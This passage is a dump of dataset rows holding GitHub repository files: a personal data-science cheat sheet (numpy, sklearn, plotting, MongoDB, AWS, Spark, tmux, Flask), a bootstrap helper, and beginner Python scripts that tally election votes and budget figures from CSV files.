item) #append item to an array. Can even initialze array without specifying shape as:\\narr = np.array([]) #initialize empty array\\nnp.linspace(start,stop,num=50) #create a var from start to stop with num points.\\nbalance['Married'] = balance['Married'].map({'Yes': 1, 'No': 0}) #mapping to change responses from Yes to 1.\\nnp.logical_not(<condition>) #allows you to exclude things in <condition> without an if statement.\\nX[np.where(mask)] #turns boolean mask into array of indices\\nnp.tile(X,reps) #repeat A, reps times\\nnp.ravel(a) #return a continugous flattened array from a, which can be a dataframe\\n\\n\\n# Sklearn\\nfrom sklearn.cross_validation import train_test_split\\nX_train, X_test, Y_train, Y_test = \\\\\\ntrain_test_split(features, target, test_size=0.3) # to make test/training set for cross validation\\n\\n\\nfrom sklearn.linear_model import LinearRegression\\nlinear = LinearRegression() #instantiate the LinearRegression class\\nlinear.fit(train_feature, train_target) #fit linear regression model using the object linear which is an instantiation of the LinearRegression class\\n\\nfrom sklearn.linear_model import LogisticRegression\\nanyname = LogisticRegression()\\nanyname.fit(x[['col1','col2']],y) #fit logistic regression model, using col1,2,i number of features of x\\n\\nfrom sklearn.cross_validation import KFold\\nkf = KFold(len(array), n_folds = 5) #create Kfold indices for cross validation on array use as follows:\\nfor train, test in kf: model.fit(X[train], y[train]) #usage for Kfolds cross validation\\n\\nfrom sklearn.preprocessing import StandardScalar\\nscale = StandardScalar()\\nscale.fit(training_data) #scale data\\n\\nfrom sklearn.grid_search import GridSearchCV #example code of how to use grid search\\nparam_grid = {'learning_rate':[0.1,0.05,0.02], 'max_depth':[4,6], 'min_samples_leaf':[3,5,9,17]}\\nest = GradientBoostingRegressor()\\ngs_cv = GridSearchCV(est, param_grid).fit(X,y) #grid-search takes (essentially) a raw or minimally parameterized estimator Class, and performs a search across the parameter_grid for the best parameter by the given scoring method. Will automatically assign the best parameters to the gs_cv estimator object once complete.\\ngs_cv.best_params_\\nfrom sklearn.grid_search import RandomizedSearchCV #perform a random grid search, allows searching through a random set of the hyperparameters to get a sense of where to pick them, thus will run faster than GridSearch.\\n\\nfrom sklearn.cross_validation import cross_val_score\\ncross_val_score(estimator_object, X, y=none, scoring = <scoring type>, cv=None) #obtains a accuracy score by cross validation. Takes a parameterized estimator object, but this object does not need to be fitted to training data, as this will take training data (x and y if available) and perform cross validation (train test, train test K-fold times) to obtain a cross-validated score. You can set the type of score using scoring = <scoring type, below>, default scoring type is the simples appropriate score for the method, such as accuracy for classifiers or R2 for regressors; y lets you set labels for supervised learning, cv defaults to 3 fold CV, can set other integer\\ntypes of scores: http://scikit-learn.org/stable/modules/model_evaluation.html\\n\\n\\n# Matplotlib\\n\\nplt.legend() #to have plot labels show as legend\\nplt.axvline(x=0.4) #plot vertical line\\nplt.axhline(y=0.6) #plot horizontal line\\ndf.hist()\\nplt.figure(figsize=(10,10)) #sets the figsize in matplotlib and Seaborn for the given session\\nplt.savefig('example.png', dpi=300) #save figure\\n#line plots\\nplt.plot(x, y, marker='o', alpha=0.4, color='red')\\nplt.plot(x, y2, marker='o', alpha=0.4, color='green')\\n#scatter plots\\nplt.scatter(x, y, edgecolor='none', s=size)\\n#bar plots\\nplt.bar(people_index, score, bar_width, align='center')\\nplt.xticks(people_index, people)\\n#histogram\\n import scipy.stats as scs\\n # Get a list of normally distributed values\\n values = scs.norm.rvs(size=1000)\\n # Plot the first histogram\\n plt.hist(values, color='r', alpha=.4)\\n plt.show()\\n # Plot the second histogram with probability density\\n plt.hist(values, color='r', alpha=.4, normed=1)\\n plt.show()\\n#Box plots\\n import scipy.stats as scs\\n one = scs.norm(3, 5).rvs(size=1000)\\n two = scs.norm(5, 1).rvs(size=1000)\\n data = [one, two]\\n plt.boxplot(data)\\n plt.xticks([1, 2], ['a', 'b'])\\n plt.show()\\n\\n# Label axis/legend/Figure size\\n fig = plt.figure(figsize=(10, 4)) # 10 wide and 4 height\\n x = [1, 2, 3, 4]\\n y = [2, 3, 4, 5]\\n plt.plot(x, y, label='Legend 1')\\n plt.xlabel('X Axis', fontsize=14, fontweight='bold')\\n plt.ylabel('Y Axis', fontsize=14, fontweight='bold')\\n plt.title('Title', fontsize=20, fontweight='bold')\\n plt.legend(loc='upper left')\\n\\n#Sub plots\\n x = [1, 2, 3, 4]\\n y = [2, 3, 4, 5]\\n \\n # subplot() command specifies numrows, numcols, fignum where fignum ranges from 1 to numrows*numcols\\n # Define the rows and columns of subplots (2x2). Can specify the figsize too\\n fig, ((ax1, ax2), (ax3, ax4)) = plt.subplots(2, 2, figsize=(12,7))\\n\\n ax1.plot(x, y, label='first plot')\\n ax1.legend(loc='upper left')\\n ax1.set_xlabel('X label')\\n ax1.set_ylabel('Y label')\\n ax1.set_title('Title')\\n #OR\\n ax[0][0].plot(x, y, label='first plot')\\n ax[0][0].legend(loc='upper left')\\n ax[0][0].set_xlabel('X label')\\n ax[0][0].set_ylabel('Y label')\\n ax[0][0].set_title('Title')\\n\\n # Plot 1 line on the upper right\\n ax2.plot(x, y, label='second plot', color='r')\\n ax2.legend(loc='upper left')\\n\\n # Plot 1 line on the lower left\\n ax3.plot(x, y, label='third plot', color='g')\\n ax3.legend(loc='upper left')\\n\\n # Plot 1 line on the lower right\\n ax4.plot(x, y, label='fourth plot', color='c')\\n ax4.legend(loc='upper left')\\n\\n # Can set an overall title in the middle of the figure\\n plt.suptitle('Overall title', fontsize=16)\\n\\n\\n#plotting several sub-plots\\ndef fig(digits):\\n fig, _ = pl.subplots(nrows=10, ncols=10, figsize=(12,12))\\n for i,ax in enumerate(fig.axes):\\n ax.imshow(digits.images[i])\\n ax.axis('off')\\n plt.show()\\n\\n\\n# Seaborn\\nplotter = df.drop(['date_formatted','user_id','date','id_number','steps_list'],axis=1)\\nsns.pairplot(plotter.iloc[:,0:5]) #creates pairwise scatter plots\\n\\n\\n\\n# NLTK for Natural Language Processing\\nnltk.download('stopwords') #downloads stopwords for nltk\\n\\nfrom nltk.stem.porter import PorterStemmer\\nfrom nltk.stem.snowball import SnowballStemmer\\nfrom nltk.stem.wordnet import WordNetLemmatizer\\n\\nporter = PorterStemmer()\\nsnowball = SnowballStemmer('english')\\nwordnet = WordNetLemmatizer()\\n\\n\\n# PyMongo\\nfrom pymongo import MongoClient\\nclient = MongoClient()\\n# Access/Initiate Database\\ndb = client['test_database']\\n# Access/Initiate Table\\ntab = db['test_table']\\n\\nfrom bs4 import BeautifulSoup #import html parser BeautifulSoup\\nsoup = BeautifulSoup(shoes, 'html.parser') #instantiate BeautifulSoup parser\\nimg_array = soup.select('img.img') #select CSS elements \\\"img.img\\\" from html using BS\\n\\n\\n# MongoDB\\nUsing Mongo - General Commands for Inspecting Mongo\\n help // List top level mongo commands\\n db.help() // List database level mongo commands\\n db.<collection name>.help() // List collection level mongo commands.\\n show dbs // Get list of databases on your system\\n use <database name> // Change the database that you're current using\\n show collections // Get list of collections within the database that you're currently using\\n\\nInserting\\n Once you're using a database you refer to it with the name db. Collections within databases are accessible through dot notation.\\n\\ndb.users.insert({ name: 'Jon', age: '45', friends: [ 'Henry', 'Ashley']})\\ndb.getCollectionNames() // Another way to get the names of collections in current database\\n\\ndb.users.insert({ name: 'Ashley', age: '37', friends: [ 'Jon', 'Henry']})\\ndb.users.insert({ name: 'Frank', age: '17', friends: [ 'Billy'], car : 'Civic'})\\n\\ndb.users.find()\\n { \\\"_id\\\" : ObjectId(\\\"573a39\\\"), \\\"name\\\" : \\\"Jon\\\", \\\"age\\\" : \\\"45\\\", \\\"friends\\\" : [ \\\"Henry\\\", \\\"Ashley\\\" ] }\\n { \\\"_id\\\" : ObjectId(\\\"573a3a\\\"), \\\"name\\\" : \\\"Ashley\\\", \\\"age\\\" : \\\"37\\\", \\\"friends\\\" : [ \\\"Jon\\\", \\\"Henry\\\" ] }\\n { \\\"_id\\\" : ObjectId(\\\"573a3b\\\"), \\\"name\\\" : \\\"Frank\\\", \\\"age\\\" : \\\"17\\\", \\\"friends\\\" : [ \\\"Billy\\\" ], \\\"car\\\" : \\\"Civic\\\" }\\n\\nQuerying\\ndb.users.find({ name: 'Jon'}) // find by single field\\ndb.users.find({ car: { $exists : true } }) // find by presence of field\\ndb.users.find({ friends: 'Henry' }) // find by value in array\\ndb.users.find({}, { name: true }) // field selection (only return name)\\ndb.users.findOne() #helpful to find one record so u can see structure\\n\\nUpdating\\ndb.users.update({name: \\\"Jon\\\"}, { $set: {friends: [\\\"Phil\\\"]}}) // replaces friends array\\ndb.users.update({name: \\\"Jon\\\"}, { $push: {friends: \\\"Susie\\\"}}) // adds to friends array\\ndb.users.update({name: \\\"Stevie\\\"}, { $push: {friends: \\\"Nicks\\\"}}, true) // upsert\\ndb.users.update({}, { $set: { activated : false } }, false, true) // multiple updates\\n\\nImports and Cursors\\n To import existing data into a mongo database one uses mongoimport at the command line. In this way mongo will accept a number of data types: JSON, CSV, and TSV.\\nmongoimport --db tweets --collection coffee --file coffee-tweets.json\\n Now that we have some larger data we can see that returns from queries are not always so small.\\n use tweets\\ndb.coffee.find()\\n When the return from a query will display up to the first 20 documents, after that you will need to type it to get more. The cursor that it returns is actually an object that has many methods implemented on it and supports the command it to iterate through more return items.\\ndb.coffee.find().count() // 122\\ndb.coffee.find().limit(2) // Only two documents\\ndb.coffee.find().sort({ 'user.followers_count' : -1}).limit(3) // Top three users by followers count\\n\\nIteration\\n MongoDB also has a flexible shell/driver. This allows you take some action based on a query or update documents. You can use an iterator on the cursor to go document by document. In the Javascript shell we can do this with Javascript's forEach. forEach is similar to Python's iteration with the for loop; however, Javascript actually has a more functional approach to this type of iteration and requires that you pass a callback, a function, similar to map and reduce.\\ndb.coffee.find().forEach(function(doc) {\\n doc.entities.urls.forEach(function(url) {\\n db.urls.update({ 'url': url }, { $push: { 'user': doc.user } }, true)\\n });\\n});\\n\\nAggregation\\n Aggregations in Mongo end up being way less pretty than in SQL/Pandas. Let's just bite the bullet and take a look:\\ndb.coffee.aggregate( [ { $group :\\n {\\n _id: \\\"$filter_level\\\",\\n count: { $sum: 1 }\\n }\\n}])\\n Here we are first declaring that we're going to do some sort of grouping operation. Then, as Mongo desires everything to have an _id field, we specify that the _id is going to be the filter level. And then we're going to perform a sum over each level counting 1 for each observation. This information is going to be stored in a field called count. What do we get back?\\n We can also do more complicated stuff as well. Here's a query that returns the average number of friends users in this dataset by country. We need to access the country code field of the place field, but that is easy with an object oriented language like JS.\\ndb.coffee.aggregate( [ { $group :\\n {\\n _id: \\\"$place.country_code\\\",\\n averageFriendCount: { $max: \\\"$user.friends_count\\\" }\\n }\\n}])\\n\\n\\n\\n# Boto for interaction with Amazon Web Services\\nimport boto\\n\\n# setting up aws access keys using json\\nwith open('/Users/sf321092/aws.json') as f:\\n data = json.load(f)\\n access_key = data['access-key']\\n secret_access_key = data['secret-access-key']\\n\\n#open boto connection\\nconn = boto.connect_s3(access_key, secret_access_key)\\n\\n#upload histogram to AWS S3\\nbucket = conn.get_bucket('testing-geoff')\\n#create a new key, which is akin to a new file in the bucket\\nfile_object = bucket.new_key('geofffig.png')\\n#set key contents from filename in local path\\nfile_object.set_contents_from_filename('/Users/sf321092/ds/gal/daily/high-performance-python/geofffig.png')\\n\\n# command line code to log onto amazon instance from terminal, turns terminal into a terminal on the remote EC2 instance using ssh\\nssh -X -i /Users/sf321092/.ssh/galkey.pem ubuntu@ec2-54-225-0-87.compute-1.amazonaws.com\\n\\n# Command line code to write files to EC2 instance using scp\\nscp -i /Users/sf321092/.ssh/galkey.pem /Users/sf321092/ds/gal/daily/high-performance-python/geoff_script.py ubuntu@e<public instance id>:~\\n\\n\\n# SPARK! Distributed Data Management\\nimport pyspark\\nsc = ps.SparkContext('local[4]') #initiating spark context locally using 4 cores\\nsc.parallelize(lst) #creates an RDD for local list lst\\nsc.textFile('sales.txt') #I believe this creates an RDD from a text file\\n .map(function) and .filter() # are functions you call on the sc object that perform transformations to create new RDDs from existing RDDs.\\n .count() # is an action and brings the data from the RDDs back to the driver.\\n .first() #an action that returns the first entry in the RDD\\n .take(2) #an action that returns the first two entries in the RDD as a list\\n .collect() #an action that pulls all entries in the RDD, requiring the entire RDD to fit into memory \\n\\n#word count example using Spark\\nsc.textFile('input.txt')\\\\\\n .flatMap(lambda line: line.split())\\\\\\n .map(lambda word: (word, 1))\\\\\\n .reduceByKey(lambda count1, count2: count1 + count2)\\\\\\n .collect()\\n\\n # Example Spark Commands\\n Expression\\tMeaning\\n filter(lambda x: x % 2 == 0)\\tDiscard non-even elements\\n map(lambda x: x * 2)\\tMultiply each RDD element by 2\\n map(lambda x: x.split())\\tSplit each string into words\\n flatMap(lambda x: x.split())\\tSplit each string into words and flatten sequence\\n sample(withReplacement = True, 0.25)\\tCreate sample of 25% of elements with replacement\\n union(rdd)\\tAppend rdd to existing RDD\\n distinct()\\tRemove duplicates in RDD\\n sortBy(lambda x: x, ascending = False)\\tSort elements in descending order\\n\\n Common Actions\\n Expression\\tMeaning\\n collect()\\tConvert RDD to in-memory list\\n take(3)\\tFirst 3 elements of RDD\\n top(3)\\tTop 3 elements of RDD\\n takeSample(withReplacement = True, 3)\\tCreate sample of 3 elements with replacement\\n sum()\\tFind element sum (assumes numeric elements)\\n mean()\\tFind element mean (assumes numeric elements)\\n stdev()\\tFind element deviation (assumes numeric elements)\\n\\njson.loads()\\njson.dumps() #use in mappnig functions to change items in RDD to json. read documentation\\n\\n# Spark Hive commands (to work with Hive data frames in Spark)\\nhive_cxt = HiveContext(sc)\\ndf = hive_cxt.createDataFrame(iris_pandas_df) #create df in a hive context\\ndf.printSchema()\\ndf.filter(df['petal_length'] > 2).rdd.map(tuple).collect() #filter using Hive\\ndf.registerTempTable('iris')\\nhive_cxt.sql('''SELECT * from iris\\n WHERE petal_length > 2''').head(5) #SQL Hive query using Spark\\n\\n\\n\\n#Spark local UI is at localhost:8080\\n\\n#create local master node, run from inside master tmux session initiated by first command\\ntmux new -s master #first command\\n${SPARK_HOME}/bin/spark-class org.apache.spark.deploy.master.Master \\\\\\n-h 127.0.0.1 \\\\\\n-p 7077 \\\\\\n--webui-port 8080\\n\\n#create local worker node, run from inside worker tmux session initiated by first command\\ntmux new -s worker1\\n${SPARK_HOME}/bin/spark-class org.apache.spark.deploy.worker.Worker \\\\\\n-c 1 \\\\\\n-m 1G \\\\\\nspark://127.0.0.1:7077\\n\\n#start ipython notebook to interact with LOCAL spark cluster\\nIPYTHON_OPTS=\\\"notebook\\\" ${SPARK_HOME}/bin/pyspark \\\\\\n--master spark://127.0.0.1:7077 \\\\\\n--executor-memory 1G \\\\\\n--driver-memory 1G\\n\\n\\n\\n#Tmux, run commands in terminal\\nbrew install tmux # Install tmux with homebrew\\ntmux new -s [session_name] # Start a new tmux session\\nctrl + b, d # Detach from that tmux session\\nctrl + b, % # start a new pane in a window, horizontal\\nctrl + b, double quote # start a new vertical split pain in window \\nctrl + b, o # switches between various panes\\ntmux ls # Get a list of your currently running tmux sessions\\ntmux attach -t [session_name] # Attach to an existing session (can use a instead of attach)\\ntmux kill-session -t myname #kill session\\ntmux ls | grep : | cut -d. -f1 | awk '{print substr($1, 0, length($1)-1)}' | xargs kill #kill all tmux sessions\\n\\n\\n\\n\\n#Spark AWS\\nmv Dowloads/<pemname>.pen .ssh/ #move file from folder to .ssh/\\nls -l #single file per line ls with read/write notation\\nchmod 600 <filename>.pem #change read write privileges for your pem file\\nls -a #hidden folders in home folder\\n\\n# path to spark EC2 scropt: ~/spark-1.5.0-bin-hadoop1/ec2/spark-ec2\\n[path to your spark-ec2 script] -k [key name] -i [path to your pem file] -r [aws region] -s 6 --copy-aws-credentials --ebs-vol-size=64 launch [give your cluster a name] #command line command to launch cluster using default settings\\n\\n#ie command line code:\\n/usr/local/spark-1.5.0-bin-hadoop2.6/ec2/spark-ec2 -k sparkler -i ~/pem_files/sparkler.pem -r us-west-1 -s 6 --copy-aws-credentials --ebs-vol-size=64 launch my_cluster\\n\\n#scp transfer installation scripts (or files in general) to cluster master\\nscp -i <path to pem file> <file to copy> root@<your master DNS>:/root/.\\n\\n#ie scp code to transfer files\\nscp -i ~/pem_files/sparkler.pem install_scripts/install_these root@ec2-52-53-215-216.us-west-1.compute.amazonaws.com:/root/.\\n\\n#log into cluster and run installation scripts\\n[path to your spark-ec2 script] -k [key name] -i [path to your pem file] -r [aws region] login [the name of your cluster]\\n\\nsource install_these # install install files from cluster master terminal\\n\\n#\\\"Pause\\\" or stop cluster (does not terminate)\\n[path to your spark-ec2 script] -k [key name] -i [path to your pem file] -r [aws region] stop [the name of your cluster]\\n\\n#restart paused/stopped cluster\\n[path to your spark-ec2 script] -k [key name] -i [path to your pem file] -r [aws region] start [the name of your cluster]\\n\\n\\n\\n# Flask for python web servers\\nfrom flask import Flask, request\\napp = Flask(__name__) #requisite first line for a flask script, instantiating the app class for use throughout the script\\n@app.route('/') #defines each page, / alone is root\\napp.run(host='0.0.0.0', port=8080, debug=True) #put under main block, debug=True allows for autoreload for debugging code edits in real time\\n\\n\\n\\n\\n#Pickle\\nimport cPickle as pickle #cPickle is faster than pickle\\n\\nwith open(\\\"model.pkl\\\", 'w') as f: #how to \\\"pickle\\\" a model named model into file model.pkl\\n pickle.dump(model, f)\\n\\nwith open(\\\"model.pkl\\\") as f_un: #to unpickle a model to use\\n model_unpickled = pickle.load(f_un)\\n'''\\n\\n\\n\\n```\\n\"\n },\n {\n \"alpha_fraction\": 0.5779816508293152,\n \"alphanum_fraction\": 0.5963302850723267,\n \"avg_line_length\": 23.22222137451172,\n \"blob_id\": \"c13be91dd9116269a75c74c8e0c27af91c772844\",\n \"content_id\": \"0ca3d88ddbc8dae0a54950f8a05435f6e9f192fd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 436,\n \"license_type\": \"no_license\",\n \"max_line_length\": 55,\n \"num_lines\": 18,\n \"path\": \"/160601 Code Review Questions.py\",\n \"repo_name\": \"geoffisdancing/galnotes\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Code questions\\n\\n\\n# array.shape[0]\\ndef bootstrap(arr, iterations=10000):\\n if type(arr) != np.ndarray:\\n arr = np.array(arr)\\n\\n if len(arr.shape) < 2:\\n arr = arr[:, np.newaxis]\\n\\n nrows = arr.shape[0]\\n boot_samples = []\\n for _ in xrange(iterations):\\n row_inds = np.random.randint(nrows, size=nrows)\\n boot_sample = arr[row_inds, :]\\n boot_samples.append(boot_sample)\\n return boot_samples\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2978380,"cells":{"repo_name":{"kind":"string","value":"simoncastellanos9/python-challenge"},"repo_url":{"kind":"string","value":"https://github.com/simoncastellanos9/python-challenge"},"snapshot_id":{"kind":"string","value":"25d1f6bdfd80be9dccc9968c09dc102b88cc6d63"},"revision_id":{"kind":"string","value":"ce385bcfe599a933b1a20515bf674558b1e75042"},"directory_id":{"kind":"string","value":"206f7ffbdee7e62e43e961519422bb54d777e4c7"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2023-04-25T04:20:29.802578","string":"2023-04-25T04:20:29.802578"},"revision_date":{"kind":"timestamp","value":"2021-05-08T19:17:11","string":"2021-05-08T19:17:11"},"committer_date":{"kind":"timestamp","value":"2021-05-08T19:17:11","string":"2021-05-08T19:17:11"},"github_id":{"kind":"number","value":363179421,"string":"363,179,421"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5986021161079407,"alphanum_fraction":0.60259610414505,"avg_line_length":30.809524536132812,"blob_id":"ebd1c0a8891ba9f112b207921aa40ef8fe7b4c35","content_id":"83e931b5b3ddb0faf86cf2721307a9e7512238c5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2003,"license_type":"no_license","max_line_length":115,"num_lines":63,"path":"/PyPoll/main.py","repo_name":"simoncastellanos9/python-challenge","src_encoding":"UTF-8","text":"import os\nimport csv\n\ncsvpath = os.path.join('Resources','election_data.csv')\n\nwith open(csvpath) as csvfile:\n # CSV reader specifies delimiter and variable that holds contents\n csvreader = csv.reader(csvfile, delimiter=',')\n\n # Read the header row first (skip this step if there is now header)\n csv_header = next(csvreader)\n\n candidates = []\n votes = []\n perVotes = []\n electionresults = []\n maxVotes = 0\n\n #Create unique list for candidates, and initial list for votes and percentage according to number of candidates\n for row in csvreader:\n if row[2] not in candidates:\n candidates.append(row[2])\n votes.append(0)\n perVotes.append(0)\n electionresults.append(row[2])\n \n\n totalVotes = (int(len(electionresults)))\n\n #Print to terminal\n print(\"Election Results\\n-------------------------\")\n print(f\"Total Votes: {totalVotes}\\n-------------------------\")\n\n for i in range(len(candidates)):\n for candidate in electionresults:\n if candidate == candidates[i]:\n votes[i] = votes[i] + 1 \n perVotes[i] = \"{:.3%}\".format(votes[i]/totalVotes) \n print(f\"{candidates[i]}: {perVotes[i]} ({votes[i]})\")\n if votes[i] > maxVotes:\n maxVotes = votes[i]\n winner = candidates[i]\n\n print(f\"-------------------------\\nWinner: {winner}\\n-------------------------\")\n\n\ncandidatesZip = zip(candidates,perVotes,votes)\n\n\noutput_path = os.path.join(\"analysis\", \"results.csv\")\n\n# Open the file using \"write\" mode. Specify the variable to hold the contents\nwith open(output_path, 'w') as csvfile:\n\n # Initialize csv.writer\n csvwriter = csv.writer(csvfile, delimiter=',')\n\n # Write the first row (column headers)\n csvwriter.writerow([\"Election Results\"])\n csvwriter.writerow(['Total Votes: ',totalVotes])\n for w in range(len(candidates)):\n csvwriter.writerows(candidatesZip)\n csvwriter.writerow(['Winner: ',winner])"},{"alpha_fraction":0.6009986400604248,"alphanum_fraction":0.6105310916900635,"avg_line_length":29.52777862548828,"blob_id":"f5fe228100fb1e0d91d319f2692a6b674381da91","content_id":"3b177c4490f42c834ef982d269df5e09f215b56b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2203,"license_type":"no_license","max_line_length":112,"num_lines":72,"path":"/PyBank/main.py","repo_name":"simoncastellanos9/python-challenge","src_encoding":"UTF-8","text":"import os\nimport csv\n\ncsvpath = os.path.join('Resources', 'budget_data.csv')\n\nwith open(csvpath) as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',')\n\n # Read the header row first (skip this step if there is now header)\n csv_header = next(csvreader)\n\n total = 0\n i = 0\n length = 0\n prevRow = 0\n change = 0\n changeCnt = 0\n greatInc = 0\n greatDec = 0\n\n #Calculate info from csv file\n for row in csvreader:\n total = total + int(row[1])\n #has to start counting change at second row\n length = length + 1\n if length>1:\n change = int(row[1])-prevRow\n if change > greatInc:\n greatInc = change\n greatIncMonth = row[0]\n if change < greatDec:\n greatDec = change\n greatDecMonth = row[0]\n changeCnt = changeCnt + change\n #place holder to calculate difference\n prevRow = int(row[1])\n \n #Format to currency\n total = \"${:.0f}\".format(total)\n aveChange = \"${:.2f}\".format(int(changeCnt/(length-1)))\n greatInc = \"${:.0f}\".format(greatInc)\n greatDec = \"${:.0f}\".format(greatDec)\n\n #Print to terminal\n print(\"\\nFinancial Analysis\\n----------------------------\")\n print(f\"Total Months: {length}\")\n print(f\"Total: {total}\")\n print(f\"Average Change: {aveChange}\")\n print(f\"Greatest Increase in Profits: {greatIncMonth} ({greatInc})\")\n print(f\"Greatest Decrease in Profits: {greatDecMonth} ({greatDec})\")\n\n\nindex = [\"Total Months\",\"Total\",\"Average Change\", \"Greatest Increase in Profits\",\"Greatest Decrease in Profits\"]\nvar = [length,total,aveChange,greatInc,greatDec]\nmont = [\"\",\"\",\"\",greatIncMonth,greatDecMonth]\n\nrows = zip(index, var, mont)\n\noutput_path = os.path.join(\"analysis\", \"results.csv\")\n\n# Open the file using \"write\" mode. Specify the variable to hold the contents\nwith open(output_path, 'w') as csvfile:\n\n # Initialize csv.writer\n csvwriter = csv.writer(csvfile, delimiter=',')\n\n # Write the first row (column headers)\n csvwriter.writerow([\"Financial Analysis\", \"QTY\", \"Month\"])\n\n #Write the second row\n for w in range(5):\n csvwriter.writerows(rows)\n \n"},{"alpha_fraction":0.7714460492134094,"alphanum_fraction":0.7714460492134094,"avg_line_length":57.32143020629883,"blob_id":"17613443257da9e3d1698ec419e88a66feddff35","content_id":"b64a5b75539cc5216f0c0d54ec45a7aa18a1aca8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1632,"license_type":"no_license","max_line_length":246,"num_lines":28,"path":"/README.md","repo_name":"simoncastellanos9/python-challenge","src_encoding":"UTF-8","text":"# python-challenge\nFinancial Record & Voter Analysis\n\nPyBank\n\n- This python script analyzes the financial records of my company. We are given a set of financial data called budget_data.csv. The dataset is composed of two columns: `Date` and `Profit/Losses`. This script calculates and displays the following:\n - The total number of months included in the dataset\n - The net total amount of \"Profit/Losses\" over the entire period\n - The average of the changes in \"Profit/Losses\" over the entire period\n - The greatest increase in profits (date and amount) over the entire period\n - The greatest decrease in losses (date and amount) over the entire period\n\n- In addition, the script both prints the analysis to the terminal and export a text file with the results.\n\nPyPoll\n\n- For this challenge, we were tasked with helping a small, rural town modernize its vote counting process.\n\n- We were given a set of poll data called election_data.csv. The dataset is composed of three columns: `Voter ID`, `County`, and `Candidate`. Our task was to create a Python script that analyzed the votes and calculated each of the following:\n - The total number of votes casted\n - A complete list of candidates who received votes\n - The percentage of votes each candidate won\n - The total number of votes each candidate won\n - The winner of the election based on popular vote.\n \n- In addition, the final script both prints the analysis to the terminal and exports a text file with the results.\n\n **The election_data.csv file given was too big to upload into the github repository. Had to use gitignore so that the code could still run."}],"string":"[\n {\n \"alpha_fraction\": 0.5986021161079407,\n \"alphanum_fraction\": 0.60259610414505,\n \"avg_line_length\": 30.809524536132812,\n \"blob_id\": \"ebd1c0a8891ba9f112b207921aa40ef8fe7b4c35\",\n \"content_id\": \"83e931b5b3ddb0faf86cf2721307a9e7512238c5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2003,\n \"license_type\": \"no_license\",\n \"max_line_length\": 115,\n \"num_lines\": 63,\n \"path\": \"/PyPoll/main.py\",\n \"repo_name\": \"simoncastellanos9/python-challenge\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os\\nimport csv\\n\\ncsvpath = os.path.join('Resources','election_data.csv')\\n\\nwith open(csvpath) as csvfile:\\n # CSV reader specifies delimiter and variable that holds contents\\n csvreader = csv.reader(csvfile, delimiter=',')\\n\\n # Read the header row first (skip this step if there is now header)\\n csv_header = next(csvreader)\\n\\n candidates = []\\n votes = []\\n perVotes = []\\n electionresults = []\\n maxVotes = 0\\n\\n #Create unique list for candidates, and initial list for votes and percentage according to number of candidates\\n for row in csvreader:\\n if row[2] not in candidates:\\n candidates.append(row[2])\\n votes.append(0)\\n perVotes.append(0)\\n electionresults.append(row[2])\\n \\n\\n totalVotes = (int(len(electionresults)))\\n\\n #Print to terminal\\n print(\\\"Election Results\\\\n-------------------------\\\")\\n print(f\\\"Total Votes: {totalVotes}\\\\n-------------------------\\\")\\n\\n for i in range(len(candidates)):\\n for candidate in electionresults:\\n if candidate == candidates[i]:\\n votes[i] = votes[i] + 1 \\n perVotes[i] = \\\"{:.3%}\\\".format(votes[i]/totalVotes) \\n print(f\\\"{candidates[i]}: {perVotes[i]} ({votes[i]})\\\")\\n if votes[i] > maxVotes:\\n maxVotes = votes[i]\\n winner = candidates[i]\\n\\n print(f\\\"-------------------------\\\\nWinner: {winner}\\\\n-------------------------\\\")\\n\\n\\ncandidatesZip = zip(candidates,perVotes,votes)\\n\\n\\noutput_path = os.path.join(\\\"analysis\\\", \\\"results.csv\\\")\\n\\n# Open the file using \\\"write\\\" mode. Specify the variable to hold the contents\\nwith open(output_path, 'w') as csvfile:\\n\\n # Initialize csv.writer\\n csvwriter = csv.writer(csvfile, delimiter=',')\\n\\n # Write the first row (column headers)\\n csvwriter.writerow([\\\"Election Results\\\"])\\n csvwriter.writerow(['Total Votes: ',totalVotes])\\n for w in range(len(candidates)):\\n csvwriter.writerows(candidatesZip)\\n csvwriter.writerow(['Winner: ',winner])\"\n },\n {\n \"alpha_fraction\": 0.6009986400604248,\n \"alphanum_fraction\": 0.6105310916900635,\n \"avg_line_length\": 29.52777862548828,\n \"blob_id\": \"f5fe228100fb1e0d91d319f2692a6b674381da91\",\n \"content_id\": \"3b177c4490f42c834ef982d269df5e09f215b56b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2203,\n \"license_type\": \"no_license\",\n \"max_line_length\": 112,\n \"num_lines\": 72,\n \"path\": \"/PyBank/main.py\",\n \"repo_name\": \"simoncastellanos9/python-challenge\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os\\nimport csv\\n\\ncsvpath = os.path.join('Resources', 'budget_data.csv')\\n\\nwith open(csvpath) as csvfile:\\n csvreader = csv.reader(csvfile, delimiter=',')\\n\\n # Read the header row first (skip this step if there is now header)\\n csv_header = next(csvreader)\\n\\n total = 0\\n i = 0\\n length = 0\\n prevRow = 0\\n change = 0\\n changeCnt = 0\\n greatInc = 0\\n greatDec = 0\\n\\n #Calculate info from csv file\\n for row in csvreader:\\n total = total + int(row[1])\\n #has to start counting change at second row\\n length = length + 1\\n if length>1:\\n change = int(row[1])-prevRow\\n if change > greatInc:\\n greatInc = change\\n greatIncMonth = row[0]\\n if change < greatDec:\\n greatDec = change\\n greatDecMonth = row[0]\\n changeCnt = changeCnt + change\\n #place holder to calculate difference\\n 